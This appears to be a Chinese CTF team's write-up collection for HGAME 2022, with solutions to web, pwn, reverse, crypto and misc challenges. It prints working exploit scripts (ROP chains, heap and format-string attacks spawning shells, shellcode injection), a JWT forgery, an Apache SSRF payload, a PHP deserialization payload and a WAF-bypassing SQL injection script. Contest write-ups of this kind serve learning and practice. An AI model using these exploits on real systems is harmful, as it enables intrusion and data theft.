Back

HGAME2022 Writeup by or4nge

战队成员 wp 合集

week1

[Web]Fujiwara Tofu Shop

By SSGSS

一个个改请求头就 ok

GET / HTTP/1.1
Host: game.summ3r.top
User-Agent: Hachi-Roku
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Gasoline: 100
Cookie: flavor=Raspberry;
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Referer: qiumingshan.net
X-Real-IP: 127.0.0.1

[Web]Tetris plus

By SSGSS

一个个翻 js,长度最长的那个用 js 运行一下就是 flag

[Web]蛛蛛…嘿嘿♥我的蛛蛛

By SSGSS

爬虫题

import requests
import re
url = 'https://hgame-spider.vidar.club/b7412bb0b0'
now = '?key=M7H8z1oG%2B1SaPudvsDf7GEm%2F9hyalx2liQ6X2mBSz4iXDqmZwkyLTWPY02GWc5OZf%2F9zO73pRTg3XdoyjfgY3g%3D%3D'

while True:
    r = requests.get(url + now)
    try:
        now = re.search(r'\?key=.*?"', r.text)[0][:-1]
    except:
        print(now)
        break

到最后一关查看 header 就有 flag

[Web]easy_auth

By SSGSS

根据题目描述要 admin 登进去,阅读 app.js 代码发现是用 jwt 进行的身份认证,介于是 week1 的简单题,没必要想的那么复杂,先尝试把 algorithm 改成 None 后无效,那就爆弱口令密钥,网上找了个 top10000,脚本如下:

import jwt
jwt_str = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJJRCI6MzUwLCJVc2VyTmFtZSI6ImFkbWluJyBvciAxMDAwMD0xMDAwMCMiLCJQaG9uZSI6IiIsIkVtYWlsIjoiIiwiZXhwIjoxNjQyNzMyMTQ1LCJpc3MiOiJNSmNsb3VkcyJ9._VVQjP4wTBYNes1cWiIaNTTidLwirfaFA9pnqsC-eQ8'

fp = open('弱口令top10000.txt','r')

for line in fp.readlines():
    line = line.replace('\n', '')
    # print(line)
    try:
        jwt.decode(jwt_str, verify=True, key=line)
        print(line)
        print(len(line))
        break
    except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
        print(line)
        break
    except jwt.exceptions.InvalidSignatureError:
        continue

爆出来密钥为空,所以伪造 jwt:

dict = {"ID":1,"UserName":"admin","Phone":"","Email":"","exp":1642732145,"iss":"MJclouds"}
print(jwt.encode(dict, '', algorithm='HS256'))

然后到控制台里把 token 改了就能拿 flag 了。localStorage.setItem('token',value)

[Pwn]gdb

By triplewings

  • 触发 gets 漏洞,拿到 shell
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
# p = remote("chuj.top", 50684)
p = process("./a.out")
p.recvuntil(b"word")

payload = p64(0xb0361e0e8294f147) + p64(0x8c09e0c34ed8a6a9)

p.send(payload)

p.recvuntil(b"\x7f")
p.recv(2)
canary = u64(p.recv(8))
print(hex(canary))
p.send(b"a"*24 + p64(canary) + b"a"*8 + p64(0x401256))
p.interactive()

[Pwn]enter_the_pwn_land

By triplewings

  • baby rop,改 puts
from pwn import *

context(os='linux', arch='amd64', log_level='debug')

p = process("./a.out")
# p = remote("chuj.top", 31470)
libc = ELF("libc-2.31.so")

pop_rdi = 0x0000000000401313
pop_rsi_r15 = 0x0000000000401311
puts_got = 0x404020
puts_plt = 0x401090

payload = b"a"*44 + b"\x2c" + b"\x00"*3 + b"a"*8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(0x4011B6) + b"\n"
# gdb.attach(p, "b *0x4011B6")
p.send(payload)
p.recvuntil(b"\n")
libc.address = u64(p.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))  - libc.sym["puts"]
print(hex(libc.address))

sh = libc.search(b'/bin/sh').__next__()
system = libc.sym['execv']

payload2 = b"b"*44 + b"\x2c" + b"\x00"*3 + b"c"*8 + p64(pop_rsi_r15) + p64(0)*2 +p64(pop_rdi) + p64(sh) +p64(system) + b"\n"

p.send(payload2)

p.interactive()

[Pwn]enter_the_evil_pwn_land

By triplewings

  • 利用多线程 canary 和 tls 离 stack 近的特点覆盖 canary
from pwn import *

context(os='linux', arch='amd64', log_level='debug')

p = process("./a.out")
# p = remote("chuj.top", 31470)
libc = ELF("libc-2.31.so")

pop_rdi = 0x0000000000401313
pop_rsi_r15 = 0x0000000000401311
puts_got = 0x404020
puts_plt = 0x401090

payload = b"a"*44 + b"\x2c" + b"\x00"*3 + b"a"*8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(0x4011B6) + b"\n"
# gdb.attach(p, "b *0x4011B6")
p.send(payload)
p.recvuntil(b"\n")
libc.address = u64(p.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))  - libc.sym["puts"]
print(hex(libc.address))

sh = libc.search(b'/bin/sh').__next__()
system = libc.sym['execv']

payload2 = b"b"*44 + b"\x2c" + b"\x00"*3 + b"c"*8 + p64(pop_rsi_r15) + p64(0)*2 +p64(pop_rdi) + p64(sh) +p64(system) + b"\n"

p.send(payload2)

p.interactive()

[Pwn]oldfashion_orw

By triplewings

  • ban 了 openat,用 getsdent64 读取目录,然后正常 orw
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process("vuln")
p = remote("chuj.top", 41765)
libc = ELF("libc-2.31.so")

def proof(y):
    may = string.ascii_letters+string.digits
    for i in may:
        for j in may:
            for k in may:
                for l in may:
                    res = i +j +k +l
                    if hashlib.sha256((res).encode()).hexdigest() == y:
                        p.sendline(res)
                        return
    print('Wrong!')


p.recvuntil(b" == ")
a = p.recvuntil(b"\n")[:-1].decode()
print(a)
proof(a)

p.recvuntil("size?")

p.sendline("-1")

p.recvuntil("content?")

# gdb.attach(p, "b *0x401311")

pop_rdi = 0x0000000000401443
pop_rsi_r15 = 0x0000000000401441
write_got = 0x404018
write_plt = 0x401080

main = 0x401311
leave = 0x4013DB
read_plt = 0x4010A0
bss = 0x404060 + 0x100

payload = b"a"*40 + p64(0xffffffffffffffff) + p64(bss)
payload += p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(bss) + p64(0) + p64(read_plt) + p64(main)
p.send(payload)
p.recvuntil("done!")
payload2 = p32(main) + b"\x00"*2
p.send(payload2)
p.recvuntil("size?\n")

p.sendline(b"-1")

p.recvuntil("content?")

payload = b"a"*40 + p64(0xffffffffffffffff) + p64(bss-0x8)
payload += p64(pop_rsi_r15) + p64(write_got) + p64(0) + p64(write_plt) + p64(leave) + p64(main)


p.send(payload)

libc.address = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))  - libc.sym["write"]


print(hex(libc.address))

p.recvuntil("size?")

p.sendline("-1")

p.recvuntil("content?")

libc_pop_rax = 0x000000000004a550
libc_pop_rax_rdx_rbx = 0x0000000000162865
libc_pop_rdx_r12 = 0x000000000011c371
libc_pop_rcx = 0x000000000009f822

payload = b"./" + b"\x00"*14 + b"a"*0x18 + p64(0xffffffffffffffff) + b"a"*8
payload += p64(libc.address + libc_pop_rax_rdx_rbx) + p64(2) + p64(0) + p64(0) + p64(pop_rdi) + p64(0x404130) + p64(pop_rsi_r15) + p64(0) + p64(0) + p64(libc.sym["alarm"] + 9)

payload += p64(pop_rdi) + p64(3) + p64(pop_rsi_r15) + p64(0x404280) + p64(0)
payload += p64(libc_pop_rdx_r12 + libc.address) + p64(0x200) + p64(0) 
payload += p64(libc_pop_rcx + libc.address) +p64(0x404280 + 0x200)
payload += p64(libc.sym["getdents64"])

payload += p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(0x404280) + p64(0) + p64(libc_pop_rdx_r12 + libc.address) + p64(0x200) + p64(0) + p64(libc.sym["write"]) + p64(main)


p.send(payload)
p.recvuntil(b"done")
p.recvuntil(b"flag")
tail = p.recv(20)


# tail = b"a74248296b5d7f3d2b01"

p.recvuntil("size?")

p.sendline("-1")

p.recvuntil("content?")

payload = b"./flag" + tail + b"\x00"*6 + b"a"*8 + p64(0xffffffffffffffff) + b"a"*8
payload += p64(libc.address + libc_pop_rax_rdx_rbx) + p64(2) + p64(0) + p64(0) + p64(pop_rdi) + p64(0x404228) + p64(pop_rsi_r15) + p64(0) + p64(0) + p64(libc.sym["alarm"] + 9)
payload += p64(pop_rdi) + p64(4) + p64(pop_rsi_r15) + p64(bss- 0xc0) + p64(0) + p64(libc.address+libc_pop_rdx_r12) + p64(0x100) + p64(0)
payload += p64(libc.sym["read"])
payload += p64(pop_rdi) + p64(1) + p64(libc.sym["write"])

p.sendline(payload)

p.interactive()

[RE]easyasm

By hidden

考察8086汇编。

汇编编写,不能f5;加密较为简单;了解代码段、数据段的知识,看懂段寄存器的对应(其实猜也才出来了),看懂加密的核心逻辑即可。

t=[0x91, 0x61, 0x01, 0xc1, 0x41, 0xa0, 0x60, 0x41, 0x01, 0x21, 0x14, 0xc, 0xe2, 0x54, 0x20, 0xc1, 0xe2, 0x60, 0x14, 0x30, 0xd1, 0x51, 0xc0, 0x17]
for j in range(len(t)):
    for i in range(256):
        if (((i<<4)%256+(i>>4))^0x17==t[j]):
            print (chr(i), end='')

[RE]creakme

By s0uthwood

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // edx
  int i; // esi
  unsigned int v5; // edi
  unsigned int v6; // ebx
  int v7; // esi
  int v8; // esi
  _DWORD v10[17]; // [esp+Ch] [ebp-8Ch] BYREF
  _BYTE v11[32]; // [esp+50h] [ebp-48h]
  char Arglist[32]; // [esp+70h] [ebp-28h] BYREF
  int v13; // [esp+90h] [ebp-8h]
  int v14; // [esp+94h] [ebp-4h]

  memset(Arglist, 0, sizeof(Arglist));
  sub_40103A("%s", (char)Arglist);
  strcpy((char *)v10, "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=");
  v3 = 0;
  v14 = 0;
  for ( i = 0; i < 32; v14 = i )
  {
    v5 = *(_DWORD *)&Arglist[i];
    v6 = *(_DWORD *)&Arglist[i + 4];
    v13 = 0;
    v7 = 32;
    do
    {
      v3 += 0x12345678;
      v5 += v3 ^ (v3 + v6) ^ (v10[2] + 16 * v6) ^ (v10[3] + (v6 >> 5));
      v6 += v3 ^ (v3 + v5) ^ (v10[0] + 16 * v5) ^ (v10[1] + (v5 >> 5));
      --v7;
    }
    while ( v7 );
    v8 = v14;
    v3 = 0;
    *(_DWORD *)&Arglist[v14] = v5;
    *(_DWORD *)&Arglist[v8 + 4] = v6;
    i = v8 + 8;
  }
  *(_OWORD *)v11 = *(_OWORD *)dword_402180;
  *(_OWORD *)&v11[16] = dword_402170;
  while ( Arglist[v3] == v11[v3] )
  {
    if ( ++v3 >= 32 )
    {
      sub_40100C("right!", v10[0]);
      return 0;
    }
  }
  sub_40100C("wrong!", v10[0]);
  return 0;
}

那一串字符串看似和 Base64 有关,其实加密就是 TEA

#include <stdio.h>
#include <stdint.h>

void decrypt (uint32_t* v, uint32_t* k) {
    uint32_t delta=0x12345678;
    uint32_t v0=v[0], v1=v[1], sum=delta * 32, i;
    uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];
    for (i=0; i<32; i++) {
        v1 -= sum ^ ((v0<<4) + k0) ^ (v0 + sum) ^ ((v0>>5) + k1);
        v0 -= sum ^ ((v1<<4) + k2) ^ (v1 + sum) ^ ((v1>>5) + k3);
        sum -= delta;
    }
    v[0]=v0; v[1]=v1;
}

int main()
{
    uint32_t v[]={1222194312u, 51123276u, 1391163586u, 3986482669u, 2921328102u, 3126465133u, 3482485930u, 1709241059u},k[4]={0x44434241,0x48474645,0x4c4b4a49,0x504f4e4d};
    decrypt(v, k);
    decrypt(v + 2, k);
    decrypt(v + 4, k);
    decrypt(v + 8, k);
    printf("%s", v);
    return 0;
}

[RE]Flag Checker

By s0uthwood

jeb 打开

package com.example.flagchecker;

import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
import android.util.Base64;
import android.view.View.OnClickListener;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;

public class MainActivity extends AppCompatActivity {
    public static byte[] encrypt(String arg4, String arg5) throws Exception {
        SecretKeySpec v0 = new SecretKeySpec(arg5.getBytes(), 0, arg5.length(), "RC4");
        Cipher v5 = Cipher.getInstance("RC4");
        v5.init(1, v0);
        return v5.doFinal(arg4.getBytes());
    }

    @Override  // android.support.v7.app.AppCompatActivity
    protected void onCreate(Bundle arg2) {
        super.onCreate(arg2);
        this.setContentView(0x7F09001C);  // layout:activity_main
        ((Button)this.findViewById(0x7F070022)).setOnClickListener(new View.OnClickListener() {  // id:button
            @Override  // android.view.View$OnClickListener
            public void onClick(View arg4) {
                String v4 = ((EditText)MainActivity.this.findViewById(0x7F070036)).getText().toString();  // id:editTextTextPersonName
                byte[] v2 = new byte[0];
                try {
                    v2 = MainActivity.encrypt(v4, "carol");
                }
                catch(Exception v4_1) {
                    v4_1.printStackTrace();
                }

                if(Base64.encodeToString(v2, 0).replace("\n", "").equals("mg6CITV6GEaFDTYnObFmENOAVjKcQmGncF90WhqvCFyhhsyqq1s=")) {
                    Toast.makeText(MainActivity.this, "Congratulations!!!", 1).show();
                    return;
                }

                Toast.makeText(MainActivity.this, "Fail,try again.", 1).show();
            }
        });
    }
}

RC4 + Base64

from base64 import *
from Crypto.Cipher import ARC4

cipher = b64decode(b'mg6CITV6GEaFDTYnObFmENOAVjKcQmGncF90WhqvCFyhhsyqq1s=')

key = b'carol'
rc4 = ARC4.new(key)

rc4.decrypt(cipher)
# b'hgame{weLC0ME_To-tHE_WORLD_oF-AnDr0|D}'

[RE]猫头鹰是不是猫

By SSGSS

总结一下快捷键:

  • d改byte,dword,qword
  • shift+e导出数据
  • y重新定义数据类型
  • *数组

看懂逻辑后,做个矩阵乘法求逆即可。

int n=64;
double a[66][66],b[66][66],c[66][130],f[64];
void gauss(double (*A)[130])
{
    for(int i=0;i<n;i++)
    {
        int k=i;
        for(int j=i+1;j<n;j++)if(A[j][i]>A[k][i])k=j; 
        double del=A[k][i];
        if(fabs(del=A[k][i])<eps)puts("no");
		for(int j=i;j<2*n;j++)swap(A[i][j],A[k][j]);
        for(int j=i;j<2*n;j++)A[i][j]/=del;
        for(int j=0;j<n;j++)  
            if(j!=i)
            {
                del=A[j][i];
                for(int k=i;k<2*n;k++)A[j][k]-=A[i][k]*del;
            }
    }
}

int main()
{
	for(int i=0;i<n;i++)
		for(int j=0;j<n;j++){
			a[i][j]=dword_4140[i*n+j]/10;
			b[i][j]=dword_8140[i*n+j]/10;
		}
	for(int i=0;i<n;i++)
			for(int j=0;j<n;j++)
				for(int k=0;k<n;k++)c[i][j]+=a[i][k]*b[k][j];
	for(int i=0;i<n;i++)c[i][i+n]=1;
	gauss(c);
	for(int i=0;i<n;i++)
    	for (int j=0;j<n;j++)
    		f[i]+=ini[j]*c[j][i+n];
    for(int i=0;i<n;i++)
    	printf("%c",char(int(floor(f[i]+0.5))));
	return 0;
}

[Crypto]Dancing Line

[Crypto]Matryohska

By NULLPointer

下载压缩包,解压得到一个名为 Matryoshka.txt 的文件,里面的内容为 Braille(盲文)加密,使用盲文破解网站 https://unicode-table.com/cn/tools/braille/ 解密:

此时发现解密得到的字符共有三种:-/,和 ,猜测下一层为 Morse 密码。用 . 替换 后使用Morse密码解密网站 https://www.bejson.com/enc/morse/ 得到:

得到的字符串显然不是正确形式。注意到每两个字符由一个逗号间隔,而逗号的 Morse 编码为一段回文字符串 --..--。联想到题目中出现的“纸条背面”的提示,尝试将字符串倒转处理。此时逗号位置的 Morse 编码仍为 --..--。解码得到:

发现是 Hex 编码,使用 Python 编写脚本解密得到一段 Base64 字符串:

b =[0x46,0x66,0x42,0x75,0x66,0x45,0x46,0x6E,0x6D,0x4C,0x73,0x36,0x44,0x33,0x73,0x69,0x59,0x74,0x4C,0x36,0x58,0x32,0x70,0x34,0x69,0x4E,0x30,0x63,0x64,0x53,0x6C,0x79,0x6B,0x6D,0x39,0x72,0x51,0x4E,0x39,0x6F,0x4D,0x53,0x31,0x6A,0x6B,0x73,0x39,0x72,0x4B,0x32,0x52,0x36,0x6B,0x4C,0x38,0x68,0x6F,0x72,0x30,0x3D]
flag = ""
for i in b:
    flag += chr(i)
print(flag)
# "FfBufEFnmLs6D3siYtL6X2p4iN0cdSlykm9rQN9oMS1jks9rK2R6kL8hor0="

解码 Base64 时系统报错,说明得到的只是一个 Base64 形式的字符串。题目中的 “Caesar:21; Vigenère: hgame” 提示 flag 经历了偏移量为 21 的凯撒加密和 key 为 hgame 的维吉尼亚加密,因此编写脚本尝试破解,发现最终加密算法为:flag -> 22位栅栏 -> 21位凯撒 -> 密钥为 hgame 的维吉尼亚,逆向解密即可:

//Vigenère
#include<stdio.h>
#include<string.h>

char key[105], sd[1005];

int main() {
    gets(key);
    gets(sd);
    int i,ptr;
    for(i=1;i<=strlen(key);i++) {
        if(key[i-1]>=65&&key[i-1]<=90) key[i-1]+=32;
    }
    ptr=1;
    for(i=1;i<=strlen(sd);i++) {
        if(sd[i-1]>=65&&sd[i-1]<=90) {
            if(sd[i-1]-key[ptr-1]+'a'>=65) {
                sd[i-1]=sd[i-1]-key[ptr-1]+'a';
                ptr++;
            }
            else {
                sd[i-1]=sd[i-1]-key[ptr-1]+'a'+26;
                ptr++;
            }
        }
        else if(sd[i-1]>=97&&sd[i-1]<=122) {
            if(sd[i-1]-key[ptr-1]+'a'>=97) {
                sd[i-1]=sd[i-1]-key[ptr-1]+'a';
                ptr++;
            }
            else {
                sd[i-1]=sd[i-1]-key[ptr-1]+'a'+26;
                ptr++;
            }
        }
        if(ptr>strlen(key)) {
            ptr=1;
        }
    }
    for(i=1;i<=strlen(sd);i++) {
        printf("%c",sd[i-1]);
    }
}
// "YzBibXZnaHl6X3swUmF6X2d4eG0wdGhrem9fMG9iMG1fdm9rY2N6dF8hcn0="
def deCaesar(string,move):
    s = ""
    for i in string:
        if ord(i) >= 65 and ord(i) <= 90:
            if (ord(i) - ord('A') - move) >= 0:
                s += chr(ord(i) - move)
            else:
                s += chr(ord(i) - move + 26)
        elif ord(i) >= 97 and ord(i) <= 122:
            if (ord(i) - ord('a') - move) >= 0:
                s += chr(ord(i) - move)
            else:
                s += chr(ord(i) - move + 26)
        else:
            s += i
    return s

def deFence(string,space):
   s = ""
   if len(string) % space == 0:
       key = len(string) // space
   else:
       key = len(string) // space + 1
   for i in range(0, key):
       for j in range(i, len(string), key):
           if j < len(string):
               s += string[j]
   return s

import base64
temp = "YzBibXZnaHl6X3swUmF6X2d4eG0wdGhrem9fMG9iMG1fdm9rY2N6dF8hcn0="
flag = base64.b64decode(temp).decode("utf-8")
for i in range(1,50):
    print(deFence(deCaesar(flag, 21), i)) # i = 22
# "hgame{Welc0me_t0_the_w0rld_0f_crypt0graphy!}"

[Crypto]Easy RSA

[Crypto]English Novel

[Misc]这个压缩包有点麻烦

By NULLPointer

下载题目,得到一个加密的压缩包,打开后发现提示:

猜测第一层压缩包的密码是 6 位数字,属于弱口令,可以通过暴力破解得到压缩包口令。使用压缩包爆破工具 ARCHPR,设置口令为 6 位数字,暴力破解,得到压缩包密码为 483279。

解压得到 flag.zip,README.md 和 password-note.txt 三个文件,其中 flag.zip 是加密的压缩包,README.md 中发现提示:

推测给出的密码本 password-note.txt 中存在压缩包的密码,因此使用字典爆破得到口令:

第二层压缩包解压后得到第三个加密的压缩包 flag.zip 和一个 README.md 文件。将 md 文件压缩后在 WinRAR 中查看,发现其 CRC32 值和 flag.zip 中的 README.md 文件 CRC32 值相同。于是推测这两个文件可能是同一文件,因此使用明文爆破的方式攻击。

明文爆破时 ARCHPR 报错,说明这两个 README.md 文件是不完整的文件。使用 github 上的工具 bkcrack 进行不完整明文攻击,得到部分口令并直接分离出图片 flag.zip。

使用 HexEditor 查看图片,发现其中有 zip 格式的开始字段 50 4B 03 04 和结束字段 50 4B 05 06

使用 binwalk 工具分离得到一个加密的压缩包,用 HexEditor 查看发现数据标志位和目录标志位均为 09 00,猜测使用了伪加密并将其改为 00 00,发现压缩包内文件解密,即可得到 flag。

[Misc]好康的流量

By NULLPointer

Wireshark查看流量包,发现协议仅有 TCP 与 SMTP 两种,其中 TCP 建立通信,SMTP 用于传输文件。由题目提示可知流量包中可能含有一张图片。

追踪 TCP 流发现一小段 Base64 编码,解密发现提示可能用到 LSB 隐写。

TCP 流中还存在一大段 Base64 编码,Content-Type: image/png 提示这段编码即为传输的图片,使用 Base64 转图片工具 https://tool.jisuapi.com/base642pic.html 得到传输的图片。

使用 Stegsolve 查看图片各个通道,在 Green2 通道中发现条形码,扫描得到 flag 的前半段。

利用 Data Extract 工具检查 LSB 隐写情况,最终发现当设置 Bit Planes:Red0,Green0,Blue0,Extracted By:Column,Bit Order:LSB First 时得到 flag 后半段。

[Misc]群青(其实是幽灵东京)

By NULLPointer

​下载题目给出的 wav 文件,放入 Audacity,查看频谱图发现信息:

​查看文件属性,在“详细信息”一栏中发现提示:why not try try SilentEye。

​这些信息提示可能存在 SilentEye 隐写。使用 SilentEye 中的 Encrypted 方式解密,设置密钥为 Yoasobi,得到一个新的 wav 文件。

​文件名 S_S_T_V.wav 提示为 SSTV 隐写,使用 robot36 分析得到一张含有二维码的图片,扫描即可得到 flag。

[IOT]饭卡的 uno

By SSGSS

用 hex2bin 转换,然后 strings 拿到 flag。

s0uthwood: 补充一下 .hex 文件格式

冒号 本行数据长度 本行数据在文件中的起始地址 数据类型 数据 校验码
: 1 byte 2 byte 1 byte N byte 1 byte

week2

[Web]webpack-engine

By SSGSS

webpack,看f12前端的源码即可。

[Web]Apache!

By SSGSS

CVE-2021-40438

http://httpd.summ3r.top:60010/proxy/?unix:[A*5000]|http://internal.host/flag

[Web]一本单词书

By SSGSS

下载下来源码,登录用弱类型绕,后面这个老哥自己手动实现了一个对映射的序列化再反序列化,自己写的肯定有bug

最终的payload:{"sb|O:4:\"Evil\":2:{s:4:\"file\";s:5:\"/flag\";s:4:\"flag\";N;}aaa":"2b"}

[Web]Pokemon

By SSGSS

sql注入,注入点在报错界面,通过报错能查看出查询语句,同时也能测出waf掉了哪些关键字,可以通过双写绕过,为了方便,就写脚本帮我replace了。

import requests
url = 'http://121.43.141.153:60056/error.php?code='

def bypass(s):
    s = s.replace('=', ' like ')
    s = s.replace(' ', '/*/**/*/')
    s = s.replace('select', 'seleselectct')
    s = s.replace('union', 'ununionion')
    s = s.replace('or', 'oorr')
    s = s.replace('and', 'anandd')
    s = s.replace('from', 'frofromm')
    s = s.replace('where', 'whwhereere')
    return s

payload = "404 union select 1, database()#"
payload = "404 union select database(), group_concat(table_name) from information_schema.tables where table_schema=database()#"
payload = "404 union select 1, group_concat(column_name) from information_schema.columns where table_name='fllllllllaaaaaag'#"
payload = "404 union select 1, flag from fllllllllaaaaaag#"
payload = bypass(payload)
print(payload)
r = requests.get(url + payload)
print(r.text)

[Web]At0m的留言板

[Pwn]blind

By triplewings

访问 proc/self/mem 即可修改当前进程的内存, .text 段也是可修改的

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

p = remote("chuj.top", 51808)
libc = ELF("./libc.so.6")

def proof(y):
    may = string.ascii_letters+string.digits
    for i in may:
        for j in may:
            for k in may:
                for l in may:
                    res = i +j +k +l
                    if hashlib.sha256((res).encode()).hexdigest() == y:
                        p.sendline(res)
                        return
    print('Wrong!')


p.recvuntil(b" == ")
a = p.recvuntil(b"\n")[:-1].decode()
print(a)
proof(a)

p.recvuntil("write: ")

libc.address = int(p.recvuntil('\n')[:-1], base = 16) - libc.sym["write"]
print(hex(libc.address))
p.sendlineafter(">> ", b'/proc/self/mem\x00')
p.sendlineafter(">> ", str(libc.sym["__libc_start_main"]))
payload = asm(shellcraft.sh())
payload = payload.rjust(0x300, asm('nop')) + b'\n'
p.sendafter(">> ", payload)

p.interactive()

[Pwn]echo sever

By triplewings

堆上的格式化字符串, 打 reallocog 填到 malloc_hook

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

p = process("./echo")
p = remote("chuj.top", 52259)
libc = ELF("./libc-2.31.so")

def echo(length, content):
    p.sendlineafter(b"your content's length:", str(length))
    p.send(content)

def proof(y):
    may = string.ascii_letters+string.digits
    for i in may:
        for j in may:
            for k in may:
                for l in may:
                    res = i +j +k +l
                    if hashlib.sha256((res).encode()).hexdigest() == y:
                        p.sendline(res)
                        return
    print('Wrong!')


p.recvuntil(b" == ")
a = p.recvuntil(b"\n")[:-1].decode()
print(a)
proof(a)


echo(0x450, b"%3$pzz")
p.recvuntil("\n>> ")
libc.address = int(p.recvuntil("zz")[:-2].decode(), 16) + 895550 - 0x10 - libc.sym["__malloc_hook"]
echo(0x450, b"%6$pzz")
p.recvuntil("\n>> ")
heap_0 = int(p.recvuntil("zz")[:-2].decode(), 16) - 0x10

echo(0x450, b"%4$pzz")
p.recvuntil("\n>> ")
heap_fastbins = int(p.recvuntil("zz")[:-2].decode(), 16)

print(hex(libc.address))
print(hex(heap_0))
print(hex(heap_0 & 0xff))
print(hex(heap_fastbins))
echo(0x450, b"aaa")
echo(0x3e0, b"aaa")
echo(0x370, b"aaa")
echo(0x300, b"aaa")
echo(0x290, b"aaa")
echo(0x220, b"aaa")
echo(0x1b0, b"aaa")
echo(0x140, b"aaa")
echo(0xd0, b"aaa")

echo(0x60, b"aaa")


echo(0x60, b"%" + str(heap_0 & 0xff).encode()  + b"c%6$hhn")
echo(0x60, b"%" + str((heap_fastbins + 0xe0) & 0xffff).encode()  + b"c%10$hn")

echo(0x60, p64(libc.sym["__free_hook"]))
echo(0, b"")

echo(0x60, b"aaa")
echo(0x60, b"%10$ln")
echo(0x60, b"aaa")
echo(0x60, b"%10$ln")
echo(0x60, b"aaa")
echo(0x60, b"%10$ln")

echo(0x60, b"aaa")
echo(0x60, b"%10$ln")
echo(0x60, b"aaa")
echo(0x60, b"%10$ln")
echo(0x60, b"aaa")
echo(0x60, b"%10$ln")
echo(0x60, b"aaa")
echo(0x60, b"%10$ln")


echo(0x60, b"%10$ln\x00\x00" + p64(0)*2 + p64(0x51))
echo(0x60, b"%96c%10$hhn" + b"\x00"*5 + p64(0)*7 + p64(0x41))
echo(0x30, p64(0)*3 + p64(0x71) + p64(libc.sym["__realloc_hook"] - 27))
echo(0x30, b"%10$ln")

echo(0x60, b"aaa")

echo(0x60, b"%10$ln")
# gdb.attach(p, "b *$rebase(0x129F)")
echo(0x60, b"%10$ln" + b"\x00"*5 + p64(0)*2 + p64(0) + p64(libc.address + 0xe6c81))
# echo(0x0, b"")
echo(0x0, b"aaa")
# %224c%4$hhn

p.interactive()

# 0xe6c7e execve("/bin/sh", r15, r12)
# constraints:
#   [r15] == NULL || r15 == NULL
#   [r12] == NULL || r12 == NULL

# 0xe6c81 execve("/bin/sh", r15, rdx)
# constraints:
#   [r15] == NULL || r15 == NULL
#   [rdx] == NULL || rdx == NULL

# 0xe6c84 execve("/bin/sh", rsi, rdx)
# constraints:
#   [rsi] == NULL || rsi == NULL
#   [rdx] == NULL || rdx == NULL

[Pwn]oldfashion_note

By triplewings

uaf 2.31 打 fastbins

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

p = process("./note")
p = remote("chuj.top", 51445)
libc = ELF("./libc-2.31.so")

def proof(y):
    may = string.ascii_letters+string.digits
    for i in may:
        for j in may:
            for k in may:
                for l in may:
                    res = i +j +k +l
                    if hashlib.sha256((res).encode()).hexdigest() == y:
                        p.sendline(res)
                        return
    print('Wrong!')


p.recvuntil(b" == ")
a = p.recvuntil(b"\n")[:-1].decode()
print(a)
proof(a)


def menu(i):
    p.sendlineafter(b"farewell", str(i))

def add(idx, size, content):
    menu(1)
    p.sendlineafter(b"index?", str(idx))
    p.sendlineafter(b"size?", str(size))
    p.sendafter(b"content?", content)

def show(idx):
    menu(2)
    p.sendlineafter(b"index?", str(idx))

def free(idx):
    menu(3)
    p.sendlineafter(b"index?", str(idx))


for i in range(8):
    add(i, 0x80, b"aaa")

for i in range(7):
    free(7-i)

free(0)
show(0)

libc.address = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) - 96 - 0x10 - libc.sym["__malloc_hook"]
print(hex(libc.address))

for i in range(8):
    add(i, 0x80, b"bbb")

for i in range(9):
    add(i, 0x20, b"ccc")

for i in range(8):
    free(8-i)

free(0)
free(1)

for i in range(2, 9):
    add(i, 0x20, b"ddd")

add(1, 0x20, p64(libc.sym["__free_hook"]))
add(0, 0x20, b"/bin/sh\x00")
add(1, 0x20, b"eee")
add(2, 0x20, p64(libc.sym["system"]))
free(0)


p.interactive()

[RE]xD MAZE

By s0uthwood

一维的迷宫,直接用 vscode 的小技巧转成 flag

选中 512 个 # 和后面的一个空格,然后 CTRL+SHIFT+L 全选,换成 3,以此类推

[RE]fakeshell

By oneQuiz

理解了题意后我们直奔验证 sudo 密码的函数,发现是以 aHappyhg4me 指向的字符串为秘钥的 RC4 加密算法,

但是直接用 aHappyhg4me 指向的字符串解密只有乱码。

之后我就卡住了,看了 WP 才知道原来在 c 语言中,被 __attribute__((constructor)) 分配属性的函数会先于 main() 函数被调用,IDA 将其反编译到 init 中。不过我直接看也看 init 我也看不出来什么不对劲,只是能看出它好像是调用了其他函数的指针。

不过我们只要在 aHappyhg4me 处按下 X 查看其被交叉引用的记录,就可以较容易地发现明显这个字符串是被修改过的。

双击 mov 指令,成功找到修改秘钥字符串的函数。

解密得到flag。

关于 __attribute__

__attribute__可用于为函数或者数据声明赋属性值。给函数分配属性的主要目的是为了让编译程序可以优化处理。分配给函数的属性位于函数原型的声明中。

